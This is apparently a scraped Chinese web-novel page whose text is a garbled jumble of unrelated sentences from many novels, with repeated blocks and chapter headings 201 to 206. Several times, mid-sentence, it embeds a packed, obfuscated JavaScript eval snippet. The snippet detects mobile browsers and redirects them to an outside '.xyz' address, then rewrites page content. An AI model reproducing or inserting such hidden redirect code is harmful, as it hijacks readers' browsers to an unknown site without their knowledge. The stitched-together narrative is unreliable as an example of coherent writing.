“我这样真的可以?”李春花觉得自己是很美,可是总是觉得非常的不真实。这种姿态的她从来都没有出现过,真的很不适应。 “大人,走吧!”一名身着校尉铠甲的魁梧男子提醒道。 不得不说除开身份的影响,朱元章是要比老黄更加软骨头的存在,不过正是因为当着保安队长,所以就算难堪了一些,只要朱元章舍得下脸面,总归要比老黄转圜的余地更大。 他开始也并不信,但用神识查看半日,发现这家伙身体里却是没有半点灵力和法力,才不得不信。金蝉子即便是转世,他的灵力和法力也只会被禁锢而已,绝不会消失。 据陈凡所观察,来这里的人包括了陈凡之前所认识的大部分人,比如江南的李家早就已经到场了。 对于夜乾的话,李一生宛如未闻,而是径直来到守灵人身前坐下。 可是,让得夜忌辰心头震动的是,那道白衣好像看透了他的剑招一般。 不多时,在**的精神笼罩范围之内,便发现了处于黄沙掩埋中,让他期待无比的核裂变反应堆所在的核电站建筑。 破天峰是秦岭山脉中的一峰,也幸得科技的发展进步,悬浮车几乎无视了地形直接翻山越岭轻松惬意,让**能够舒适的享受沿途的大好河山。 拉伽什的特使的思路让其他人也立刻茅塞大开,他们赶紧也争先恐后的像陈漠表示一定会认真的考虑他的建议。 木辰听了,哈哈大笑起来,接着突然抄起桌上的水果刀,后退一步就朝唐总的脑袋扔了过去。 王昊将手中的AKM调成了全自动模式,这种贴脸的战斗,还是全自动模式比较好。 我看到畅哥的笑容,不知道为什么,心里就有了底气,我转身,把门上的铁丝给解开。这时,突然门被撞开了,我还在门后呢,这一下把我给撞倒地上了,老三赶紧过来把我扶起来。 “把这些全包起来。”顾林枫指着架上所有卫生巾豪爽道,他实在是不想再听营业员介绍下去了。 “袁飞,你真不是东西,居然在一旁调拨离间,亏我还在拍卖会的时候把千年虫草让给了你,你现在居然帮着陈硕那个软货欺负我,简直就是忘恩负义。”眼看要挨打,苟德胜也会死把心一横,向着那青年指责道。 而且在这个念头的指引下,他发现了更多可以印证他想法的线索。 今天传说中的青城主人就要来京都了,自从青城出名了开始,就从来没有人见过苏锦了。 完,苏锦带着苏氏就准备离去,既然已经解决完了,知道太多的事情后反而不好离开,洗干净苏氏身上的冤屈,对她们来就已经足够了。 唐歌沉默了,手指又开始规律的敲击着桌子,像是一个自然地曲子,柳如是看着他,心里总是没来由的乱跳。 “我真的以为,见到满耳,见到渴念,见到你和梓焰的那天,我也会见到我娘的。这么多年我没有放弃等待,就是因为我知道我娘一定会来救我的。”雪琴哽咽道。 “我这样真的可以?”李春花觉得自己是很美,可是总是觉得非常的不真实。这种姿态的她从来都没有出现过,真的很不适应。 “大人,走吧!”一名身着校尉铠甲的魁梧男子提醒道。 不得不说除开身份的影响,朱元章是要比老黄更加软骨头的存在,不过正是因为当着保安队长,所以就算难堪了一些,只要朱元章舍得下脸面,总归要比老黄转圜的余地更大。 他开始也并不信,但用神识查看半日,发现这家伙身体里却是没有半点灵力和法力,才不得不信。金蝉子即便是转世,他的灵力和法力也只会被禁锢而已,绝不会消失。 据陈凡所观察,来这里的人包括了陈凡之前所认识的大部分人,比如江南的李家早就已经到场了。 对于夜乾的话,李一生宛如未闻,而是径直来到守灵人身前坐下。 可是,让得夜忌辰心头震动的是,那道白衣好像看透了他的剑招一般。 不多时,在**的精神笼罩范围之内,便发现了处于黄沙掩埋中,让他期待无比的核裂变反应堆所在的核电站建筑。 破天峰是秦岭山脉中的一峰,也幸得科技的发展进步,悬浮车几乎无视了地形直接翻山越岭轻松惬意,让**能够舒适的享受沿途的大好河山。 拉伽什的特使的思路让其他人也立刻茅塞大开,他们赶紧也争先恐后的像陈漠表示一定会认真的考虑他的建议。 木辰听了,哈哈大笑起来,接着突然抄起桌上的水果刀,后退一步就朝唐总的脑袋扔了过去。 王昊将手中的AKM调成了全自动模式,这种贴脸的战斗,还是全自动模式比较好。 我看到畅哥的笑容,不知道为什么,心里就有了底气,我转身,把门上的铁丝给解开。这时,突然门被撞开了,我还在门后呢,这一下把我给撞倒地上了,老三赶紧过来把我扶起来。 “把这些全包起来。”顾林枫指着架上所有卫生巾豪爽道,他实在是不想再听营业员介绍下去了。 “袁飞,你真不是东西,居然在一旁调拨离间,亏我还在拍卖会的时候把千年虫草让给了你,你现在居然帮着陈硕那个软货欺负我,简直就是忘恩负义。”眼看要挨打,苟德胜也会死把心一横,向着那青年指责道。 而且在这个念头的指引下,他发现了更多可以印证他想法的线索。 今天传说中的青城主人就要来京都了,自从青城出名了开始,就从来没有人见过苏锦了。 完,苏锦带着苏氏就准备离去,既然已经解决完了,知道太多的事情后反而不好离开,洗干净苏氏身上的冤屈,对她们来就已经足够了。 唐歌沉默了,手指又开始规律的敲击着桌子,像是一个自然地曲子,柳如是看着他,心里总是没来由的乱跳。 “我真的以为,见到满耳,见到渴念,见到你和梓焰的那天,我也会见到我娘的。这么多年我没有放弃等待,就是因为我知道我娘一定会来救我的。”雪琴哽咽道。 “我这样真的可以?”李春花觉得自己是很美,可是总是觉得非常的不真实。这种姿态的她从来都没有出现过,真的很不适应。 第一卷 第201章 章绩的**! EDG下路本来想来支援的,听到挖掘机放弃了,所以就原路返回了。 其中lisa、郑双还有另一位我懒得想名字了的路人教徒乙走的都很平静。似乎是他们已经认命了一般。也许在他们看来,他们已经为了守护自己要守护的东西尽力了,所以他们已经了无遗憾。 林夕和杨刚看了一眼,心想李世明真的是个绝世老好人,这要不是李世明放弃补刀去下路帮了三波,哪有马河的起飞。 感受到此刻孙天羽身上的气息波动,下方观战诸人神色都未微微一变。 狂暴的波动肆虐在广场之中,与上院那片秩序井然的战场相比,下院这边就显得混乱的多。 “蒋粟!你……”莫南非常惊讶的看了一眼那个被他称为蒋粟的男人。 毫不夸张的说,这个家伙怕是已经达到了骗子的最高境界,以假乱真。 “没打个电话就过来,是不是事情已经有了结果了?”吴羽又转过头去,心情似乎有点低落。 耿锋选取了美国纽约的一个地区,那里有一个自己的老熟人。自己这次回去就是去找她进货的,想来如果她这次见到自己的话也一定会很开心吧。 老头子俨然已经忘却了在几分钟之前,江柯还是他的心肝宝贝,江段两家的自豪。 虽然之前杀敌的时候他毫无畏惧,可那时候并不知道死亡是什么,只是知道那是一个概念的东西。 百花藏竖起中指,身为七极神系三重觉醒灭神师,一重觉醒暂时不能用有什么打紧。 这时候,领着两人进来的道士已经下拜道:“启禀师尊!人已经带到了!”**玄和叶欣怡连忙也跟着跪了下去。 其他圣元宗弟子顿时都大失所望,个个眼中都露出了愤愤不平的神色,却都强自克制住了。 本来他有一堆类似于——福如东海,寿比南山,吉祥如意诸如此类的马匹话,但是又觉得和这老狐狸不能过分拍马屁,所以简洁明了的拜见了杭州城最大的官吏。 “真的么?”其实庄宁宁一直在旁边听着,但是因为站得太远了,二人神神秘秘,自己也不知道他们说了些什么,于是就趁机过来想听听消息。 韩枫扫视了一番这些员工,长得都挺寒颤的,而且一个个营养不良的样子,心里想着:也对,只有穷人会打工,人家富家公子现在指不定在哪里吟诗作对,风 花雪月呢。 苏宸良站在自家门口,听着院内传来的声音,紧张的不敢上前,在苏诚不懈的鼓励下,苏宸良才重重的吸了一口气,大步上前一把推开大门,大声呼喊。 二十四岁能爬到刑部侍郎,官居四品,自然也不是什么平庸之人。 “不要,给我家人的,我要花自己的!”童玉锦坚持自己的原则。 面具男对于长门死活不在意,但就担心关键时刻长门不要命的突然通灵外道魔像,让战争出现偏差,所以就事先提醒了一番。 那时候无人教导,他尚且有些懵懂,可也正因懵懂,正因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076198|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一夕之间从云端跌入泥潭,他对近两年发生的所有事情都记忆深刻。 “还敢绑我,今天我也绑一次你,让你尝试一下这个滋味。”感情郑凯还记着韩国那次呢。 第二颗陨石哪怕被超轻重岩之术减轻之后的重量也不是一般忍者能够抵挡的,和第一颗陨石一样,那人至少要有足以一直支撑的海量查克拉,以及我爱罗和守鹤合力的力量才行。 “难道拍戏一直不会有休息的时间的吗?”乌九灵有些惊讶地道。 童玉锦催着卢阿七:“赶紧回去换衣服吧!”她可不想身边的人有什么事,最后操心的还不是自己。 他毫不怀疑,自己如果有一丝的犹豫,流天肯定会第一时间杀了自己,比起死,他更愿意赖活着,哪怕坠入魔道被世人诟病,也比直接身死道消,身形俱灭来得好。 盘古的封印,每隔十二万九千六百年松动一次,也许是盘古故意留下的一个劫难,要以此磨砺凡人和万物的意志。 另外据创造这部剑法的前辈所说,还有另一种可能,那就是天阶**修炼出来的灵力,天阶**修炼出来的灵力极为特殊,它几乎有着灵力所有的特性,是最为纯粹本源的灵力。 始料未及,白池有些错愕的瞪大黑眸看着他,在他那双墨玉色的黑眸里她甚至看到了一丝软软的得逞和笑意。 不知道的人还以为两人在暧昧的亲吻,但是仔细看可以发现两人脸之间交叉接触在一起的一剑一**就会明白两人不是在亲密无间,而是在打斗。 第一卷 第202章 凌川,你高兴得太早了! 东方雨平也不是没有想过树妖自爆之后还能重生的可能性。毕竟之前的聊天中树妖就曾经说过他又分身无数。 “也就是说的话……”嘴角微微的抬起下一刻伴随着炽热的火焰从脚边升起炼也是直接把这块巨大的皮革就扔到了火焰里面去了。 苟江虎是没这么多钱的钱先诚少不了要垫一些他的心多黑哪怎么可能吃亏?这个铺子他就算是入了股今后盈利便算他一份。 爱丽丝比任何人都清楚她的心有多么纯净对上帝与光明有多么的敬仰那是不容任何人亵渎的。 秦羿出不了手吗?当然不是房修固然厉害尤其是星相术竟然如同西方的信仰之法一般可以从天界宇宙借来神通着实少见。 真正难的地方并不是抽线而是保持整体这一点。是的 “镖局好查可军中他若是改名换姓去了刘广众手下可就不好查了。”郭公公道。 营地里只有少许士兵一边打着哈欠一边巡逻。他们大概以为靠近唐军那些想背地里干掉他们的将军也不敢轻举妄动所以也不怎么戒备。守卫松松散散巡逻就像是散步一般。 斩仙炮炮口的光芒一闪而逝直接划破虚空冲向齿魔逃走的方向。 雷鸟王看着这一幕相当的诧异。不过毕竟还没学会人类的那种复杂的思考方式也没多想双翅一展便腾空而起朝着西北方向而去。它的伤势还是要借助雷玉的力量才能迅速的恢复的。 “对对对我是大师我不害怕我不害怕!”金开元手颤抖的拿出一把街边卖的十块钱一柄的桃木剑。 赵浮归说完停顿了一下。台下的季府来宾听得有些迷糊一众宾客更是不明白他的意思。 方月娥听到杨正这么说心里一阵酸痛虽然知道先生是不会喜欢自己的却忍不住幻想着现在先生这么说了梦也该醒了。 比如她爸明明也不想让她走却就是只字不提还说她开心就好。 还是那个觉哥应该不会有问题董元也放下了心又看了一眼身旁的终音手办痴痴一笑思考该怎么跟林云觉说事情。 微风浮动,流连在树梢的新生树芽上,树梢微微摇晃,新绿的嫩叶上下拨动了几下。 原主当初若是有这么个‘**灭口’的意识,在知晓事情后第一时间就回娘家,也就不至于被炮灰了。 至于心里,则是苦涩得不行,林凡他是得罪不起的,可监视燕皇陛下,若是被发现,自己一样要掉脑袋。 宫长诀明白过来,许是方才在雨中与余宸说话时,被左氏看见了。 自从西青出事之后,她日日跟着余宸,就是怕在这个契机时,会有人对余宸下手。 在当这些亲戚感到极度尴尴的时候,陈强已是主动上前把这些人都拉入了桌子上,招呼大家吃喝了起来。 蝴蝶则是觉得有些莫名其妙,他总觉着哪个地方不对,却又说不清道不明。 说真的,挺想开着直升机,在烟花中冲撞出一句脏话给朱亨看,但是考虑到这是朱丽花的生日礼物,就又打消了这个想法。 对于大荒这两个字,我已经不止一次听过了,而是很多次,数都数不清,可是大荒具体是一个什么样的地方,我就完全一无所知了,没有一个清晰的概念。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076199|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “为什么?你才工作没多久吧?”林婉白有些震惊,尹冰看起来不像个特别浮躁,不服管的人呀。 北月京城不大,然而如今日上中天烈日灼灼,皇宫到夜家还是有些距离的,夜轻歌一个废物之躯走回去,热就不说了,况且今日京城里的所有人都等着看夜轻歌的笑话,一路上,恐怕又得受尽冷嘲热讽。 所言的,也正是圣魔土地令,这对于阿鼻地狱岛而言,同样是极大的诱惑,只不过当年翻开了天地,也未能找到,却是没想到,这次却自己出来了。 林霄“嗖”的一声闪身进去,一把拿过破布包,也不知道里面都装了些什么,一拿起来发出叮叮当当的脆响。 司徒老夫人也是经历过不少事情的,想到严妈妈来和她说李秋意想她了,却不直说李秋意病了,这其中就有问题,却是直接狠厉的开口。 “这是一个真正的高手,而且还是在赤手空拳之下。”林霄对红姑的评价极其之高,看来这武学世家还真不是白来的。 “别杀我,求求你们了!”此时的尤启智再也不复之前的淡定了,慌张无措的看着眼前的这些死神兽,他不想就这样死掉,他还有很多事情没有完成。 熔炉战场的灵魂之争,有一个时间方面的限制,当火焰巨人和机械怪物们战成一团,实际上,所剩下的时间就不多了。 伊乐安慰一声,只要等电影结束,他们晚一点出去,根本就不可能会撞到一块。 当然,大家都心知肚明,知道所谓的任命,就是花钱给了汉灵帝买官而已,不过,大家虽然都心知肚明,但是也都不好说出来。 第一卷 第203章 幽灵铁骑! 月黑风高,月似银钩! 那声音直接刺向人体鼓膜,给人心灵的震撼胜似惊涛拍岸,石破天惊,列缺霹雳,丘峦崩摧。 她深知他根本不会嫌弃她的样貌,也深知自己在他心里非常重要,与他在她心里的地位一样。 贺宗桃高声道,由于表现得太过激动和急迫,还惹来了众人略显异样的眼神。 最前方的剑光骤然停下,显出关惕的身影,后面的剑光随之止住势头。 不等铁锤的话音落下,那大批的黑虫就已经怕到了铁锤身边,正要向铁锤的身上爬去。 看着走远的林志,于浩笑了笑,建城,四大家族可算帮了他大忙,为了应对那件事,他可是早就想要建城了。 于浩趁着排队的时间观察着周围的人,实力参差不齐,但是最弱的都是裂空境的。 裁判念到名字后,秦心瑶刚上台,只有练气后期修为的对手就直接认输。 再加上王伟惹出的一堆烂事儿,又牵扯腾飞厂不少精力,所以无人机单独建厂的事儿想不搁置下来都难。 厚度不大,长度也恰到好处,最重要的是与机体的融合度相当高,如果不仔细辨认,根本就看不出强5H上面的保形油箱居然是个外部的配套组合部件。 “我也要!我也要!”另外两人听到陈静的话也是眼前一亮,抛下被摸得毛发都皱了,可怜兮兮的皮丘来到李牧面前,刚才要不是紫萱控制住皮丘,她们可都要被电晕了。 刘备几次求见都没能进入府内,今次再来碰碰运气,行走到府衙附近,就听到惨叫阵阵,暗自奇怪,是谁吃了熊心豹子胆,敢在府衙门前行凶。 在诗瑶看来,刘川为了自己的孩子,他这么做是没有错的,她不也是被刘川感动了吗?不然,她也不会承诺一定会救刘清不是。 果真,这一回他进去不到五分钟就出来了,手上拽着那条黑猫的尾巴,那只猫倒也狡猾的很,竟然没被炸死,而是被一堆乱石给砸的皮开肉绽,浑身是血,奄奄一息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076200|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼看是活不成了。 虽然诛杀了这十名兵士,乌桓骑兵脸上却没有高兴神情,虽然自己杀了十名兵士,但自己这边也有十多名骑兵被对方挑**下。 “好!!!”见她这般说,于是谢师傅也就不再多问。赶忙将张雪玲叮嘱的话向上面传去。 黑墨镜的声音跟公鸭嗓子似得,讲话就像被人掐着脖子躲在喉咙里头发出声,他这调子唱秦腔喜段子都能给唱出哭腔来。但这会儿身后响起的那段子却不是那么沙哑而尖啸,这是带着一股子幽怨而深长的音。 高考考卷发下来的那一刻,章嘉泽发狠似的认真地回答每一道题目。 当真不知道,他们兄弟俩不是去幼儿园接他们去见他们爸爸的么? 赵宁愣了一下,想着墨然刚才不是还说,不要用兵器,免得伤了他们,怎么突然将剑**了? “额…我想起来了,出来时我忘记喂狗了,你们先吃再见。”二代被吓得屁滚尿流,三步并作两步一溜烟的跑了。 第一卷 第204章 一营私军! 轩辕孤鸿一只手提着那名将领的头颅,来到唐岿然面前。 苏锦原本以为秦沅会对自己发火的,她做的距离她这么远都可以感受到她的怒火。 苏锦眼中露出冰冷的笑意,祁凌的东西,她说什么都不会这么交出去的,要拿在自己的手中,到时候,祁凌总会回来了。 下一刻,林步征在天山边缘,发现一条用白色美玉打造成的玉阶。 要是他们在一起讨论治玉的话,是不是一直没有怎么进步的治玉技术会有所进步,到时候,自己治出来的玉,是不是就更加的有灵性了。 一段时间过后,有一道震耳欲聋,震动苍穹虚空的大**声响起。 ‘西红柿炒鸡蛋’‘京酱肉丝’‘宫保鸡丁’‘豆角烧茄子’还有一个汤,虽然菜样简单,但是在邹美茹的手下,却是十分美味,孙李抱着饭碗,吃的很香。 任务堂如此操作,目的就是挑选出最有可能完成任务的队伍,连合伙抢一个飞天球都办不到,那自然是不可能完成这么艰险的任务了。 欧阳明显也看出了杨万里的担心,但是在这个事情上,他却并没有什么太大的发言权,只能够低下头,沉沉的发出一声叹息。 青铜撵车被停在了五彩祭台的边缘,而在中央的地方,竖立起了一座金碧辉煌的宫殿。 于是,狄君璞上了云扬的摩托车,一面再对那倚门而立的老太太挥手说了声再见,老太太笑倚在门上,仍然在不住口的叮咛著叫狄君璞下次再来,又叫云扬早些回来,并一再喊要云扬下班后去找哥哥。 说着,掏出一张名片来给林鸿飞,名片上只有一个简单的名字和电话号码,显然,这是一个真正用于给sī人好友的电话,电话号码想必也是sī人电话。 越野车驶入一座刚刚建成的大型军用机场,类似的飞机场还有驻扎着大批华军官兵的军事基地几乎遍布了整个朝鲜半岛南部沿海地区,而且还有源源不断的军队和物资通过铁路公路向南而来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076201|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一时之间,十年寒窗的辛酸,四海流落的苦楚,都在这刹那得到回报。 躲在房角的赵玥看了看祖父的身后,没有见到那位梦中的英武夫君,不禁有点失望。 瞧着她那目光和那张冷淡白皙的脸,先前压下的那念头顿时又生起。这回再没有也来不及多想,施展着虚空飞剑一闪欺近她身前,凑嘴就朝她红唇吻下。 翻译的话说完之后,会议室里就是一片死寂了,所有的rì军“旧军官”都不吭声,一个个皱着眉头在冥思苦想,大概在心里面盘算着世界**胜利的希望到底有多少? 轰隆隆的一阵长达一炷香时间的巨响过后,地面灰烟散去,显露一块被闪电劈成焦黑的平整地面。 “那么,如果我们集中全力在西线发动进攻,有没有可能挽救法国的命运?”托洛茨基沉默了一会儿,又提出了一个问题。 再联想起简易对他这柄飞剑的不屑一顾,他不由惊出了一声冷汗。 第一卷 第205章 深藏不露! 无论是修道,或者是仙亦或是佛,无论那一条路,心魔始终都是一种羁绊。正是因为这种羁绊,而让人变得举步维艰。 “炼体分六境,炼气又有几个等级?”从莫心娴这里知道炼体六境,他就很好奇炼气的境界。 众人七手八脚把鱼竿卸下来,激光在牢固的山石下打了21个拳头大的深孔,深度达10米以上,分部在投石机一样的鱼竿周围,以钢制缆绳结合抓地爪固定鱼竿的尾部。 仙府驻地的监控一直都是郑四海在管理,他在驻地时,安全工作由影堂负责,可现在却在他的控制下发生了这么大的纰漏,如不有所行动,他这个堂主也就没有颜面担此大任。 “卡德管家,我们终于可以下去走走了,长时间坐在马车里,好不舒服呀!”。 这就是和纨绔交朋友的结果,赵绝尘很满意,虽然他这个纨绔有些不合格。 直奔君瑶家的别墅,当看到高远和许菲的时候,君瑶竟然哭了,搂住许菲就不放开。 双方的速度迅速爆发,既然潜伏技能都对双方没用,那么就没有必要进行隐藏下去了。两人化为一道道黑影不断在这个实验室中穿梭着,手中的武器不断碰撞,同时各种暗器四处飞舞着。 李嘉玉没留意段伟祺的表情,她沉浸在兴奋里,觉得天上掉了馅饼,正落她怀里。 他想半天没想起来他上一部旧手机放哪里了,现在这部用了挺久,搬了几次家,旧的杂物都是李嘉玉收拾,也不知她放在哪个房子里。明天起来先去买手机。 等到电话那边,终于传来欧廷平静的一声回应,欧言彻底的松了口气。 葬礼严肃庄重又有些热闹。一切结束,宾客们都告辞,李嘉玉随着段伟祺他们来到段老爷子的墓前,作为家人向老爷子做最后的告别。 她看着两个孩子过家家一样的把这一眼看不清多少位数金额的协议签了,忽然明白他们为什么能结婚了。 “厨师给你熬了粥,是你自己下去喝,还是佣人给你端上来?”欧廷问。 原著里之所以一护能一刀秒掉友哈巴赫,当然不止是烂尾的原因,最主要的原因是,那个时候的一护从父亲黑崎一心那里明白了自己的身世,后又在二枚屋王悦那里打造出新的斩月。 自己心目中那个曾经的英雄,那个初见时有勇有谋的男人,如今已经沧桑满面,鬓角也挂着几根 银丝。 陈耀忠是一个非常有“深沉”的人,虽然已经看出了儿子和上官滢都有情,可在人家还没有正式对外公开之前,他也不点破,只把自己的“祝福”表达出来就好。 很久没有人这么关心我了,暗暗的叹了一口气,我把烟扔在了地上,重重地踩了两脚。 “你怎么知道?”陈老汉一阵惊讶,就连陈婶和慧娘都满脸诧异的盯着祁天养。 其实我就是想让祁天养帮帮他,我确实不喜欢阿福,但是我对任何人的讨厌,都不足以让我像阿年那样不择手段的去害别人,更不可能想要任何人的性命。 “其实你也许笑起来会比较好看。”夜洛看着棺中的人,然后对着尚睿钧开口说道。 不过,这风氏的破产的有些过于巧合,盛风华已经大致猜到了是谁动的手了。 刚踏出房门,迎面走来一位青衣丫鬟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076202|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫鬟手中提着一个红檀木饭盒,人还未走近,一阵勾人馋虫的饭香先飘入鼻中,不闻不打紧,这一闻越发觉得饥肠辘辘。 罗伯特一开始勒贺常,贺常还能撑得住,但是随着时间的推移,他感觉自己越来越痛苦,脖子真的就像要断了一样。 这水壶很老了,苏薇看到上面有抗美援朝的字样,还有一个凹陷的地方,像是被**击穿后,又用锡铁补好了。 “哎,想也想不出来。我看,咱们还是早点回去吧,这里的一切都像迷一样。那个吴婆婆说的,应该是故意引诱我们的,根本就不靠谱。 国家对待拜金的人的态度,和饭店对待那个泼顾客火锅汤的服务员的态度,应该是一样的,人手短缺的时候,也许我会用你,但是我绝对不会把你当成心腹,等我不缺人手,经济效益好的时候,你该滚哪去滚哪去。 秦轩听到这里,才长长地舒了一口气,没想到这只死狐狸到关键时刻还能守得住理智,真是万幸。 就在这一问一答的交流中,青雷和段亡的身影缓缓消失于天地之间,就像那消失于天地间的戈斯坦城一样,仿佛从未出现过一般。 就在这些战士们心情复杂的看着彼此的时候,营部的通讯员走了过来,他的手里带着一个巨大的邮包。。 红果要去诗澜家里,他去诗澜家里干什么,是找诗澜拼命,还是怎么样,**十八不知道。 所以,萧逸不过是她立足凝月国的一枚棋子,这场婚姻,她注定辜负。 “什么?怎么可能有这种丹药?不~~。”妖族一方穷奇等人惊吼而起,身体颤抖,立刻被扫地僧等人打得节节败退,不敌之中。 第一卷 第206章 三寸寒芒锦上花! “您先稍微等等一会儿我和你一起去医院婉璃姐要知道你过来了一定会很高兴的呢。”林雪一边叠着衣服一边笑着说道。 听着渐渐走远的步履声她要好好的养好身子她要离开皇宫离开这个是非之地。 至于白菜肉卷张翠莲用筷子将盘子里的煮熟的汤篦在碗里面。将这一碗浓郁的汤倒进锅里加了事先洗土豆丝时候准备的淀粉倒了进去。然后将这份浓郁鲜美的勾芡汤重新浇在码的整整齐齐的白菜肉卷上面四个菜齐活儿。 人呢?全都倒飞了出去又似乎全都晕厥了过去?那场**太可怕。 不过刘璘也不是什么都不做一方面这几家媒体已经被她拉黑以后这几家媒体是不要想采访他了。 “让周凯明天来找我吧。”美貌御姐叹息道她终归还是妥协了否则过不了多久全体老师都要辞职了全部学员都会跑去跟着某人混灵力。 这个水池的宽度正好比石室窄一点也就是说想要走到石室的那头那就必须下了水池游着泳过去。 他脚步很慢一个又一个兵器架子走过去像是在认真挑选兵器。 首先三船发布了第一条政令那就是禁止铁之国的武士到外国去出仕。 一个队伍里倘若有一个刺头不服管教那么接下来整支队伍都不好带。为了持续20天的军训顺利完成他们也得首先找一个立威的场子。 紫夫人的话音未落伴随着一阵轻微的颤动在场所有人突然齐声欢呼起来。 东西全部放上去时这一辈子辛辛苦苦的大板车发出了不堪重负的“嘎吱”声楚河甚至怀疑这趟走完这辆车搞不好就得牺牲。 但人面鬼鳐霸主在地下潜伏了那么久才等到这样一个机会哪里会不珍惜呢使劲的把毒液逼进锤头鲨霸主的体内试图在最短的时间内把它杀死。 “放心。”王彪哈哈大笑 凌浩等人通过望远镜默默注视着这一幕拳头紧握何晨光刚准备要要开枪被凌浩强行制止了。 这时萧何也回过了神打算把前些年面试时候简历的电子版给陈见看。 他感觉后背火辣辣的疼走到卫生间用洗漱台上的大镜子照了照发现火辣辣的地方有几个鲜红的指甲印。 他说话的声音格外的尖锐,让周围人都不由自主的皱眉,不知道他怎么会突然这么爆发出来,说话还是这么的难听。 他年纪轻轻便擢升少校,身手头脑缺一不可,但如今看着轮椅上的人,仍旧产生一种头脑不如人的缺憾感。 他百思不得其解,无奈之下,只能够发出了一道破界传音符,在十余个呼吸之后,他的面前顿时散发出了一阵紫色雾气,缓缓凝聚成了一道人形的样子。 曹老爷子倒也没有上位者的威严范儿,不过身上的长者之风还是有的。 迪特斯瓦嘴上虽然在贬低张岩,可是心中却是惊讶叹赏,张岩的每一个技能虽然都不是很强大,但连接的近乎完美,甚至有几次预判到自己要攻击的位置,这绝对不是难得一见的天赋。 胖乎乎的周队长指了指傅青珅的嘴巴说道:“看看,暴徒多么凶残,将这位先生打成什么样了?走,去抓人!”说完周队长一马当先冲进头等舱,几个年轻乘警也不含糊,果断的跟在队长屁股后头。 这不,这距离上次的事情才没有过去多久,还没有一个月?这不就又惹出事情来了吗?贺老师对上次一把手被开除的事情了解的很清楚,知道是什么原因。 忽然,就在苏游等人都有点失望的时候,一旁的邹博超忽然又说话了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076203|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 走到厨房门口的时候,黄炎见着糜丫头竟然早他一步,正在厨间忙活着呢。 “杀之天道,会让我看穿一切杀机!在我的杀之领域,除非你没有杀机!否则,你的任何攻击都无所遁形!”傅青衣淡淡的说道,仿佛这一刻,他是掌控天下的至尊,比他早十年踏足天阶的二叔只不过是一个蝼蚁。 将一支华丽而精美的玉钗,揣进了自个怀里,黄炎丢下仍处于石化状态中的贾诩鲁肃,自顾施施然着,回了后宅。 曹操最近对外联系得越来越频繁,估计是距离起兵之日不远了,最迟不过来年正月,也就是说,还有不到两个月的准备休整时间。 不远处,有两个衣着青色宗袍的年轻人忽然出现,他们边走边说,对这里如此熟悉,像是他们原本就是灵雾城里的人似的。 